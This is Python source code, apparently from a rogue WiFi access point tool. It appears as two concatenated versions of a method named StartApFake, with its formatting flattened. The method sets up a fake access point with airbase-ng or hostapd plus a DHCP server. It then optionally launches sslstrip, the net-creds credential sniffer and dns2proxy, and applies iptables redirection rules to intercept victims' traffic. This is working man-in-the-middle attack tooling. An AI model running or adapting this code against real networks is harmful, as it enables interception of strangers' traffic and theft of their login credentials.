def StartApFake(self): self.btn_start_attack.setDisabled(True) if len(self.selectCard.currentText()) == 0: return QMessageBox.warning(self, 'Error interface', 'Network interface not supported :(') if len(self.EditGateway.text()) == 0: return QMessageBox.warning(self, 'Error Gateway', 'gateway not found') if not self.ConfigTwin['ProgCheck'][5]: return QMessageBox.information(self, 'Error Hostapd', 'hostapd not installed') dhcp_select = self.FSettings.xmlSettings('dhcp', 'dhcp_server', None, False) if dhcp_select == 'iscdhcpserver': if not self.ConfigTwin['ProgCheck'][3]: return QMessageBox.warning(self, 'Error dhcp', 'isc-dhcp-server not installed') elif dhcp_select == 'dnsmasq': if not self.ConfigTwin['ProgCheck'][4]: return QMessageBox.information(self, 'Error dhcp', 'dnsmasq not installed') if str(Refactor.get_interfaces()['activated']).startswith('wlan'): return QMessageBox.information( self, 'Error network card', 'You are connected with interface wireless, try again with local connection' ) self.APactived = self.FSettings.xmlSettings('accesspoint', 'actived', None, False) if self.APactived == 'airbase-ng': self.ConfigTwin['interface'] = str( set_monitor_mode(self.selectCard.currentText()).setEnable()) self.FSettings.xmlSettings('interface', 'monitor_mode', self.ConfigTwin['interface'], False) # airbase thread Thread_airbase = ProcessThread([ 'airbase-ng', '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(), '-F', 'Logs/Caplog/' + asctime(), self.ConfigTwin['interface'] ]) Thread_airbase.name = 'Airbase-ng' self.Apthreads['RougeAP'].append(Thread_airbase) Thread_airbase.start() # settings while True: if Thread_airbase.iface != None: self.ConfigTwin['AP_iface'] = [ x for x in Refactor.get_interfaces()['all'] if search('at', x) ][0] self.FSettings.xmlSettings('netcreds', 'interface', self.ConfigTwin['AP_iface'], False) break self.CoreSettings() elif self.APactived == 'hostapd': self.FSettings.xmlSettings('netcreds', 'interface', str(self.selectCard.currentText()), False) self.ConfigTwin['AP_iface'] = str(self.selectCard.currentText()) try: check_output(['nmcli', 'radio', 'wifi', "off"]) except CalledProcessError: try: check_output(['nmcli', 'nm', 'wifi', "off"]) except CalledProcessError as e: return QMessageBox.warning(self, 'Error nmcli', e) call(['rfkill', 'unblock', 'wlan']) self.CoreSettings() ignore = ('interface=', 'ssid=', 'channel=') with open('Settings/hostapd.conf', 'w') as apconf: for i in self.SettingsAP['hostapd']: apconf.write(i) for config in str( self.FSettings.ListHostapd.toPlainText()).split('\n'): if not config.startswith('#') and len(config) > 0: if not config.startswith(ignore): apconf.write(config + '\n') apconf.close() self.Thread_hostapd = ProcessHostapd( ['hostapd', '-d', 'Settings/hostapd.conf']) self.Thread_hostapd.setObjectName('hostapd') self.Thread_hostapd.statusAP_connected.connect( self.GetHostapdStatus) self.Apthreads['RougeAP'].append(self.Thread_hostapd) self.Thread_hostapd.start() # thread dhcp selected_dhcp = self.FSettings.xmlSettings('dhcp', 'dhcp_server', None, False) if selected_dhcp == 'iscdhcpserver': Thread_dhcp = ThRunDhcp([ 'sudo', 'dhcpd', '-d', '-f', '-lf', 'Settings/dhcp/dhcpd.leases', '-cf', '/etc/dhcp/dhcpd.conf', self.ConfigTwin['AP_iface'] ]) Thread_dhcp.sendRequest.connect(self.GetDHCPRequests) Thread_dhcp.setObjectName('DHCP') self.Apthreads['RougeAP'].append(Thread_dhcp) Thread_dhcp.start() ##### dnsmasq disabled # elif selected_dhcp == 'dnsmasq': # Thread_dhcp = ThRunDhcp(['dnsmasq','-C','Core/config/dnsmasq.conf','-d']) # self.connect(Thread_dhcp ,SIGNAL('Activated ( QString ) '), self.dhcpLog) # Thread_dhcp .setObjectName('DHCP') # self.Apthreads['RougeAP'].append(Thread_dhcp) # Thread_dhcp .start() else: return QMessageBox.information(self, 'DHCP', selected_dhcp + ' not found.') self.Started(True) self.FSettings.xmlSettings('statusAP', 'value', 'True', False) if self.FSettings.check_redirect.isChecked( ) or not self.PopUpPlugins.check_sslstrip.isChecked(): popen( 'iptables -t nat -A PREROUTING -p udp -j DNAT --to {}'.format( str(self.EditGateway.text()))) self.FSettings.xmlSettings('sslstrip_plugin', 'status', 'False', False) self.PopUpPlugins.check_sslstrip.setChecked(False) self.PopUpPlugins.unset_Rules('sslstrip') # thread plugins if self.PopUpPlugins.check_sslstrip.isChecked(): Thread_sslstrip = Threadsslstrip(self.ConfigTwin['PortRedirect']) Thread_sslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(Thread_sslstrip) Thread_sslstrip.start() if self.PopUpPlugins.check_netcreds.isChecked(): Thread_netcreds = ProcessThread([ 'python', 'Plugins/net-creds/net-creds.py', '-i', self.FSettings.xmlSettings('netcreds', 'interface', None, False) ]) Thread_netcreds.setName('Net-Creds') self.Apthreads['RougeAP'].append(Thread_netcreds) Thread_netcreds.start() if self.PopUpPlugins.check_dns2proy.isChecked(): Thread_dns2proxy = ProcessThread( ['python', 'Plugins/dns2proxy/dns2proxy.py']) Thread_dns2proxy.setName('Dns2Proxy') self.Apthreads['RougeAP'].append(Thread_dns2proxy) Thread_dns2proxy.start() iptables = [] for index in xrange(self.FSettings.ListRules.count()): iptables.append(str(self.FSettings.ListRules.item(index).text())) for rules in iptables: if search('--append FORWARD --in-interface', rules): popen(rules.replace('$$', self.ConfigTwin['AP_iface'])) elif search('--append POSTROUTING --out-interface', rules): popen( rules.replace('$$', str(Refactor.get_interfaces()['activated']))) else: popen(rules)
def StartApFake(self): self.ListLoggerDhcp.clear() if geteuid() != 0: return QMessageBox.warning(self, 'Error permission', 'Run as root ') if len(self.selectCard.currentText()) == 0: return QMessageBox.warning(self, 'Error interface', 'Network interface not supported :(') if len(self.EditGateway.text()) == 0: return QMessageBox.warning(self, 'Error Gateway', 'gateway not found') dhcp_select = self.FSettings.xmlSettings('dhcp', 'dhcp_server', None, False) if dhcp_select != 'dnsmasq': if not self.ProgramCheck[3]: return QMessageBox.warning(self, 'Error dhcp', 'isc-dhcp-server not installed') else: if not self.ProgramCheck[4]: return QMessageBox.information(self, 'Error dhcp', 'dnsmasq not installed') self.interface = str( set_monitor_mode(self.selectCard.currentText()).setEnable()) self.FSettings.xmlSettings('interface', 'monitor_mode', self.interface, False) # airbase thread Thread_airbase = ProcessThread([ 'airbase-ng', '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(), '-F', 'Logs/Caplog/' + asctime(), self.interface ]) Thread_airbase.name = 'Airbase-ng' self.Apthreads['RougeAP'].append(Thread_airbase) Thread_airbase.start() # settings while True: if Thread_airbase.iface != None: self.Ap_iface = [ x for x in Refactor.get_interfaces()['all'] if search('at', x) ][0] self.FSettings.xmlSettings('netcreds', 'interface', self.Ap_iface, False) break self.CoreSettings() # thread dhcp selected_dhcp = self.FSettings.xmlSettings('dhcp', 'dhcp_server', None, False) if selected_dhcp == 'iscdhcpserver': Thread_dhcp = ThRunDhcp([ 'sudo', 'dhcpd', '-d', '-f', '-cf', '/etc/dhcp/dhcpd.conf', self.Ap_iface ]) self.connect(Thread_dhcp, SIGNAL('Activated ( QString ) '), self.dhcpLog) Thread_dhcp.setObjectName('DHCP') self.Apthreads['RougeAP'].append(Thread_dhcp) Thread_dhcp.start() elif selected_dhcp == 'dnsmasq': Thread_dhcp = ThRunDhcp( ['dnsmasq', '-C', 'Settings/dnsmasq.conf', '-d']) self.connect(Thread_dhcp, SIGNAL('Activated ( QString ) '), self.dhcpLog) Thread_dhcp.setObjectName('DHCP') self.Apthreads['RougeAP'].append(Thread_dhcp) Thread_dhcp.start() else: return QMessageBox.information(self, 'DHCP', selected_dhcp + ' not found.') self.Started(True) # thread plugins if self.PopUpPlugins.check_sslstrip.isChecked(): Thread_sslstrip = Threadsslstrip(self.PortRedirect) Thread_sslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(Thread_sslstrip) Thread_sslstrip.start() if self.PopUpPlugins.check_netcreds.isChecked(): Thread_netcreds = ProcessThread([ 'python', 'Plugins/net-creds/net-creds.py', '-i', self.FSettings.xmlSettings('netcreds', 'interface', None, False) ]) Thread_netcreds.setName('Net-Creds') self.Apthreads['RougeAP'].append(Thread_netcreds) Thread_netcreds.start() iptables = [] for index in xrange(self.FSettings.ListRules.count()): iptables.append(str(self.FSettings.ListRules.item(index).text())) for rules in iptables: if search('PREROUTING -p udp -j DNAT --to', rules): popen(rules.replace('$$', str(self.EditGateway.text()))) elif search('--append FORWARD --in-interface', rules): popen(rules.replace('$$', self.Ap_iface)) elif search('--append POSTROUTING --out-interface', rules): popen( rules.replace('$$', str(Refactor.get_interfaces()['activated']))) else: popen(rules)